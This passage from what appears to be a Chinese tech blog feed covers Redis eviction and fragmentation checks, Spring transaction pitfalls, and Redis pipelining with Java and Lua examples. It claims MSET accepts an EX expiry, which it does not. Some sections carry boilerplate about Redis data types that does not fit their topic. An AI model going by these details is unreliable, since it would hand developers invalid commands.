淘汰策略不生效</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查配置</span></span><br><span class="line">redis-cli CONFIG GET maxmemory*</span><br><span class="line"></span><br><span class="line"><span class="comment"># 常见原因：</span></span><br><span class="line"><span class="comment"># 1. 没有设置maxmemory</span></span><br><span class="line"><span class="comment"># 2. 设置了noeviction策略</span></span><br><span class="line"><span class="comment"># 3. volatile策略但key没有过期时间</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看淘汰统计</span></span><br><span class="line">redis-cli INFO stats | grep evicted</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-内存碎片率高"><a href="#5-3-内存碎片率高" class="headerlink" title="5.3 内存碎片率高"></a>5.3 内存碎片率高</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看碎片率</span></span><br><span class="line">redis-cli INFO memory | grep mem_fragmentation_ratio</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果 &gt; 1.5，说明碎片严重</span></span><br><span class="line"><span class="comment"># 解决：</span></span><br><span class="line"><span class="comment"># 1. 重启Redis（最彻底）</span></span><br><span class="line"><span class="comment"># 2. 使用jemalloc（默认）比glibc malloc碎片少</span></span><br><span class="line"><span class="comment"># 3. Redis 4.0+ 可以使用内存整理</span></span><br><span class="line">redis-cli MEMORY PURGE</span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>策略</th><th>淘汰范围</th><th>算法复杂度</th><th>适用场景</th></tr></thead><tbody><tr><td>allkeys-lru</td><td>所有key</td><td>O(N)采样</td><td>通用缓存</td></tr><tr><td>allkeys-lfu</td><td>所有key</td><td>O(N)采样</td><td>热点数据</td></tr><tr><td>allkeys-random</td><td>所有key</td><td>O(1)</td><td>均匀访问</td></tr><tr><td>volatile-lru</td><td>有过期时间的</td><td>O(N)采样</td><td>混合存储</td></tr><tr><td>volatile-lfu</td><td>有过期时间的</td><td>O(N)采样</td><td>热点+过期</td></tr><tr><td>volatile-ttl</td><td>有过期时间的</td><td>O(N)排序</td><td>TTL优化</td></tr><tr><td>volatile-random</td><td>有过期时间的</td><td>O(1)</td><td>简单场景</td></tr><tr><td>noeviction</td><td>不淘汰</td><td>-</td><td>不允许丢数据</td></tr></tbody></table><p>内存管理的核心原则：</p><ol><li><strong>设置合理的maxmemory</strong>：不超过物理内存的75%</li><li><strong>选择合适的淘汰策略</strong>：根据业务特点选择LRU/LFU/Random</li><li><strong>监控内存使用</strong>：及时发现内存异常</li><li><strong>优化数据结构</strong>：使用ziplist等紧凑编码</li><li><strong>定期分析大key</strong>：避免单个key占用过多内存</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis管道Pipeline与批量操作</title>
      <link href="//redis-pipeline-batch-operations/"/>
      <url>//redis-pipeline-batch-operations/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis管道Pipeline与批量操作"><a href="#Redis管道Pipeline与批量操作" class="headerlink" title="Redis管道Pipeline与批量操作"></a>Redis管道Pipeline与批量操作</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、为什么需要批量操作"><a href="#一、为什么需要批量操作" class="headerlink" title="一、为什么需要批量操作"></a>一、为什么需要批量操作</h2><p>#</p><h2 id="1-1-网络往返的开销"><a href="#1-1-网络往返的开销" class="headerlink" title="1.1 网络往返的开销"></a>1.1 网络往返的开销</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">单独执行1000个GET命令：</span><br><span class="line"></span><br><span class="line">客户端          网络           Redis</span><br><span class="line">  │──GET 1──&gt;   1ms    ──&gt;    │</span><br><span class="line">  │&lt;─结果1──    1ms    &lt;──    │</span><br><span class="line">  │──GET 2──&gt;   1ms    ──&gt;    │</span><br><span class="line">  │&lt;─结果2──    1ms    &lt;──    │</span><br><span class="line">  ...</span><br><span class="line">  │──GET 1000─&gt; 1ms    ──&gt;    │</span><br><span class="line">  │&lt;─结果1000   1ms    &lt;──    │</span><br><span class="line"></span><br><span class="line">总时间 = 1000 × 2ms = 2000ms</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-批量操作的优势"><a href="#1-2-批量操作的优势" class="headerlink" title="1.2 批量操作的优势"></a>1.2 批量操作的优势</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">使用Pipeline执行1000个GET：</span><br><span class="line"></span><br><span class="line">客户端          网络           Redis</span><br><span class="line">  │──GET 1──&gt;   1ms    ──&gt;    │</span><br><span class="line">  │──GET 2──&gt;                 │</span><br><span class="line">  │──GET 3──&gt;                 │</span><br><span class="line">  │   ...                     │</span><br><span class="line">  │──GET 1000                 │</span><br><span class="line">  │             1ms    &lt;──    │</span><br><span class="line">  │&lt;─结果1─2─3...1000         │</span><br><span class="line"></span><br><span class="line">总时间 ≈ 2ms + 处理时间</span><br></pre></td></tr></table></figure><h2 id="二、原生批量命令"><a href="#二、原生批量命令" class="headerlink" title="二、原生批量命令"></a>二、原生批量命令</h2><p>#</p><h2 id="2-1-MGET-MSET"><a href="#2-1-MGET-MSET" class="headerlink" title="2.1 MGET/MSET"></a>2.1 MGET/MSET</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 批量获取</span></span><br><span class="line">MGET key1 key2 key3 key4 key5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量设置</span></span><br><span class="line">MSET key1 value1 key2 value2 key3 value3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量设置并指定过期时间（Redis 2.6.12+）</span></span><br><span class="line">MSET key1 value1 key2 value2 EX 60</span><br></pre></td></tr></table></figure><p><strong>Java使用</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line"></span><br><span class="line"><span class="comment">// MGET</span></span><br><span class="line">List&lt;String&gt; values = redis.opsForValue().multiGet(Arrays.asList(<span class="string">&quot;key1&quot;</span>, <span class="string">&quot;key2&quot;</span>, <span class="string">&quot;key3&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// MSET</span></span><br><span class="line">Map&lt;String, String&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">map.put(<span class="string">&quot;key1&quot;</span>, <span class="string">&quot;value1&quot;</span>);</span><br><span class="line">map.put(<span class="string">&quot;key2&quot;</span>, <span class="string">&quot;value2&quot;</span>);</span><br><span class="line">redis.opsForValue().multiSet(map);</span><br></pre></td></tr></table></figure><p><strong>限制</strong>：</p><ul><li>只能操作String类型</li><li>所有key需要在同一slot（Cluster模式下）</li></ul><p>#</p><h2 id="2-2-HMGET-HMSET-HGETALL"><a href="#2-2-HMGET-HMSET-HGETALL" class="headerlink" title="2.2 HMGET/HMSET/HGETALL"></a>2.2 HMGET/HMSET/HGETALL</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Hash批量操作</span></span><br><span class="line">HMSET user:1001 name <span class="string">&quot;Alice&quot;</span> age 25 city <span class="string">&quot;Beijing&quot;</span></span><br><span class="line">HMGET user:1001 name age city</span><br><span class="line">HGETALL user:1001</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-LPUSH-RPUSH（批量）"><a href="#2-3-LPUSH-RPUSH（批量）" class="headerlink" title="2.3 LPUSH/RPUSH（批量）"></a>2.3 LPUSH/RPUSH（批量）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># List批量插入</span></span><br><span class="line">LPUSH mylist value1 value2 value3 value4 value5</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-SADD-ZADD（批量）"><a href="#2-4-SADD-ZADD（批量）" class="headerlink" title="2.4 SADD/ZADD（批量）"></a>2.4 SADD/ZADD（批量）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Set批量添加</span></span><br><span class="line">SADD myset member1 member2 member3</span><br><span class="line"></span><br><span class="line"><span class="comment"># ZSet批量添加</span></span><br><span class="line">ZADD myzset 1 member1 2 member2 3 member3</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-DEL-UNLINK（批量）"><a href="#2-5-DEL-UNLINK（批量）" class="headerlink" title="2.5 DEL/UNLINK（批量）"></a>2.5 DEL/UNLINK（批量）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 批量删除</span></span><br><span class="line">DEL key1 key2 key3 key4 key5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 异步删除（不阻塞，Redis 4.0+）</span></span><br><span class="line">UNLINK key1 key2 key3</span><br></pre></td></tr></table></figure><h2 id="三、Pipeline管道"><a href="#三、Pipeline管道" class="headerlink" title="三、Pipeline管道"></a>三、Pipeline管道</h2><p>#</p><h2 id="3-1-Pipeline原理"><a href="#3-1-Pipeline原理" class="headerlink" title="3.1 Pipeline原理"></a>3.1 Pipeline原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">普通模式：            Pipeline模式：</span><br><span class="line"></span><br><span class="line">请求1 ──&gt;            请求1 ──&gt;</span><br><span class="line">&lt;── 响应1            请求2 ──&gt;</span><br><span class="line">请求2 ──&gt;            请求3 ──&gt;</span><br><span class="line">&lt;── 响应2            ...</span><br><span class="line">请求3 ──&gt;            &lt;── 响应1,2,3...</span><br><span class="line">&lt;── 响应3</span><br></pre></td></tr></table></figure><p>Pipeline不保证原子性，只是将多个命令打包发送，减少网络往返。</p><p>#</p><h2 id="3-2-Pipeline使用"><a href="#3-2-Pipeline使用" class="headerlink" title="3.2 Pipeline使用"></a>3.2 Pipeline使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PipelineService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 批量写入</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchSet</span><span class="params">(Map&lt;String, String&gt; data)</span> &#123;</span><br><span class="line">        redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">            data.forEach((key, value) -&gt; &#123;</span><br><span class="line">                connection.stringCommands().set(</span><br><span class="line">                    key.getBytes(), value.getBytes()</span><br><span class="line">                );</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 批量读取</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">batchGet</span><span class="params">(List&lt;String&gt; keys)</span> &#123;</span><br><span class="line">        List&lt;Object&gt; results = redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">            keys.forEach(key -&gt; &#123;</span><br><span class="line">                connection.stringCommands().get(key.getBytes());</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> results.stream()</span><br><span class="line">            .map(obj -&gt; obj != <span class="literal">null</span> ? <span class="keyword">new</span> <span class="title class_">String</span>((<span class="type">byte</span>[]) obj) : <span class="literal">null</span>)</span><br><span class="line">            .collect(Collectors.toList());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 批量Hash操作</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchHashSet</span><span class="params">(Map&lt;String, Map&lt;String, String&gt;&gt; data)</span> &#123;</span><br><span class="line">        redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">            data.forEach((key, fields) -&gt; &#123;</span><br><span class="line">                Map&lt;<span class="type">byte</span>[], <span class="type">byte</span>[]&gt; byteFields = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">                fields.forEach((field, value) -&gt; &#123;</span><br><span class="line">                    byteFields.put(field.getBytes(), value.getBytes());</span><br><span class="line">                &#125;);</span><br><span class="line">                connection.hashCommands().hMSet(key.getBytes(), byteFields);</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-Pipeline-批量命令结合"><a href="#3-3-Pipeline-批量命令结合" class="headerlink" title="3.3 Pipeline + 批量命令结合"></a>3.3 Pipeline + 批量命令结合</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 最优方案：Pipeline内使用批量命令</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">optimalBatchSet</span><span class="params">(List&lt;Map&lt;String, String&gt;&gt; dataList)</span> &#123;</span><br><span class="line">    redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">        <span class="keyword">for</span> (Map&lt;String, String&gt; data : dataList) &#123;</span><br><span class="line">            <span class="comment">// 每100个key一批</span></span><br><span class="line">            List&lt;String&gt; keys = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(data.keySet());</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; keys.size(); i += <span class="number">100</span>) &#123;</span><br><span class="line">                List&lt;String&gt; batch = keys.subList(i, Math.min(i + <span class="number">100</span>, keys.size()));</span><br><span class="line">                Map&lt;<span class="type">byte</span>[], <span class="type">byte</span>[]&gt; byteData = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">                batch.forEach(key -&gt; &#123;</span><br><span class="line">                    byteData.put(key.getBytes(), data.get(key).getBytes());</span><br><span class="line">                &#125;);</span><br><span class="line">                connection.stringCommands().mSet(byteData);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-注意事项"><a href="#3-4-注意事项" class="headerlink" title="3.4 注意事项"></a>3.4 注意事项</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. Pipeline不保证原子性</span></span><br><span class="line"><span class="comment">// 如果中间某个命令失败，其他命令仍会执行</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. Pipeline会占用连接</span></span><br><span class="line"><span class="comment">// 大量命令会占用连接较长时间</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 建议分批使用Pipeline</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchWithChunks</span><span class="params">(List&lt;String&gt; keys, <span class="type">int</span> chunkSize)</span> &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; keys.size(); i += chunkSize) &#123;</span><br><span class="line">        List&lt;String&gt; chunk = keys.subList(i, Math.min(i + chunkSize, keys.size()));</span><br><span class="line">        </span><br><span class="line">        List&lt;Object&gt; results = redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">            chunk.forEach(key -&gt; connection.stringCommands().get(key.getBytes()));</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 处理本批次结果</span></span><br><span class="line">        processResults(results);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 4. Pipeline在Cluster下的限制</span></span><br><span class="line"><span class="comment">// 命令需要发送到同一节点</span></span><br><span class="line"><span class="comment">// 可以使用Hash Tag让相关key在同一slot</span></span><br></pre></td></tr></table></figure><h2 id="四、Lua脚本批量操作"><a href="#四、Lua脚本批量操作" class="headerlink" title="四、Lua脚本批量操作"></a>四、Lua脚本批量操作</h2><p>#</p><h2 id="4-1-原子性批量操作"><a href="#4-1-原子性批量操作" class="headerlink" title="4.1 原子性批量操作"></a>4.1 原子性批量操作</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 批量删除匹配模式的key</span></span><br><span class="line"><span class="keyword">local</span> pattern = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> cursor = <span class="string">&quot;0&quot;</span></span><br><span class="line"><span class="keyword">local</span> count = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">repeat</span></span><br><span class="line">    <span class="keyword">local</span> result = redis.call(<span class="string">&#x27;scan&#x27;</span>, cursor, <span class="string">&#x27;match&#x27;</span>, pattern, <span class="string">&#x27;count&#x27;</span>, <span class="number">100</span>)</span><br><span class="line">    cursor = result[<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">local</span> keys = result[<span class="number">2</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> i = <span class="number">1</span>, #keys <span class="keyword">do</span></span><br><span class="line">        redis.call(<span class="string">&#x27;del&#x27;</span>, keys[i])</span><br><span class="line">        count = count + <span class="number">1</span></span><br><span class="line">    <span class="keyword">end</span></span><br><span class="line"><span class="keyword">until</span> cursor == <span class="string">&quot;0&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> count</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LuaBatchService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">BATCH_DELETE_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;local pattern = KEYS[1] &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local cursor = &#x27;0&#x27; &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local count = 0 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;repeat &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    local result = redis.call(&#x27;scan&#x27;, cursor, &#x27;match&#x27;, pattern, &#x27;count&#x27;, 100) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    cursor = result[1] &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    local keys = result[2] &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    for i = 1, #keys do &quot;</span> +</span><br><span class="line">        <span class="string">&quot;        redis.call(&#x27;del&#x27;, keys[i]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;        count = count + 1 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;until cursor == &#x27;0&#x27; &quot;</span> +</span><br><span class="line">        <span class="string">&quot;return count&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">batchDeleteByPattern</span><span class="params">(String pattern)</span> &#123;</span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(BATCH_DELETE_SCRIPT, Long.class);</span><br><span class="line">        <span class="keyword">return</span> redis.execute(script, Collections.singletonList(pattern));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、性能对比"><a href="#五、性能对比" class="headerlink" title="五、性能对比"></a>五、性能对比</h2><p>#</p><h2 id="5-1-测试场景"><a href="#5-1-测试场景" class="headerlink" title="5.1 测试场景"></a>5.1 测试场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：写入10000个key</span><br><span class="line"></span><br><span class="line">方案1：循环单条写入</span><br><span class="line">for (i = 0; i &lt; 10000; i++) &#123;</span><br><span class="line">    redis.set(&quot;key&quot; + i, &quot;value&quot; + i);</span><br><span class="line">&#125;</span><br><span class="line">耗时：约 20秒（假设RTT=1ms）</span><br><span class="line"></span><br><span class="line">方案2：MSET（每100个一批）</span><br><span class="line">for (i = 0; i &lt; 100; i++) &#123;</span><br><span class="line">    Map&lt;String, String&gt; batch = ...;</span><br><span class="line">    redis.mset(batch);  // 每批100个</span><br><span class="line">&#125;</span><br><span class="line">耗时：约 200ms</span><br><span class="line"></span><br><span class="line">方案3：Pipeline</span><br><span class="line">redis.executePipelined(callback -&gt; &#123;</span><br><span class="line">    for (i = 0; i &lt; 10000; i++) &#123;</span><br><span class="line">        connection.set((&quot;key&quot; + i).getBytes(), (&quot;value&quot; + i).getBytes());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line">耗时：约 100ms</span><br><span class="line"></span><br><span class="line">方案4：Pipeline + MSET</span><br><span class="line">redis.executePipelined(callback -&gt; &#123;</span><br><span class="line">    for (i = 0; i &lt; 100; i++) &#123;</span><br><span class="line">        // 每100个用MSET</span><br><span class="line">        callback.mSet(batchData);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line">耗时：约 50ms</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-性能对比表"><a href="#5-2-性能对比表" class="headerlink" title="5.2 性能对比表"></a>5.2 性能对比表</h2><table><thead><tr><th>方案</th><th>10000次写入</th><th>特点</th></tr></thead><tbody><tr><td>单条循环</td><td>~20秒</td><td>最慢，大量网络往返</td></tr><tr><td>MSET(100一批)</td><td>~200ms</td><td>好，但有批量限制</td></tr><tr><td>Pipeline</td><td>~100ms</td><td>很好，减少网络往返</td></tr><tr><td>Pipeline+MSET</td><td>~50ms</td><td>最好，结合两种优势</td></tr></tbody></table><h2 id="六、生产实践"><a href="#六、生产实践" class="headerlink" title="六、生产实践"></a>六、生产实践</h2><p>#</p><h2 id="6-1-批量导入数据"><a href="#6-1-批量导入数据" class="headerlink" title="6.1 批量导入数据"></a>6.1 批量导入数据</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataImportService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">BATCH_SIZE</span> <span class="operator">=</span> <span class="number">500</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">PIPELINE_SIZE</span> <span class="operator">=</span> <span class="number">1000</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">importData</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">        <span class="comment">// 分批使用Pipeline导入</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; users.size(); i += PIPELINE_SIZE) &#123;</span><br><span class="line">            List&lt;User&gt; batch = users.subList(i, Math.min(i + PIPELINE_SIZE, users.size()));</span><br><span class="line">            </span><br><span class="line">            redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">                batch.forEach(user -&gt; &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + user.getId();</span><br><span class="line">                    <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> JSON.toJSONString(user);</span><br><span class="line">                    connection.stringCommands().set(</span><br><span class="line">                        key.getBytes(),</span><br><span class="line">                        value.getBytes(),</span><br><span class="line">                        Expiration.from(<span class="number">3600</span>, TimeUnit.SECONDS),</span><br><span class="line">                        RedisStringCommands.SetOption.UPSERT</span><br><span class="line">                    );</span><br><span class="line">                &#125;);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 每批完成后短暂休息，避免Redis压力过大</span></span><br><span class="line">            <span class="keyword">if</span> (i + PIPELINE_SIZE &lt; users.size()) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    Thread.sleep(<span class="number">10</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> 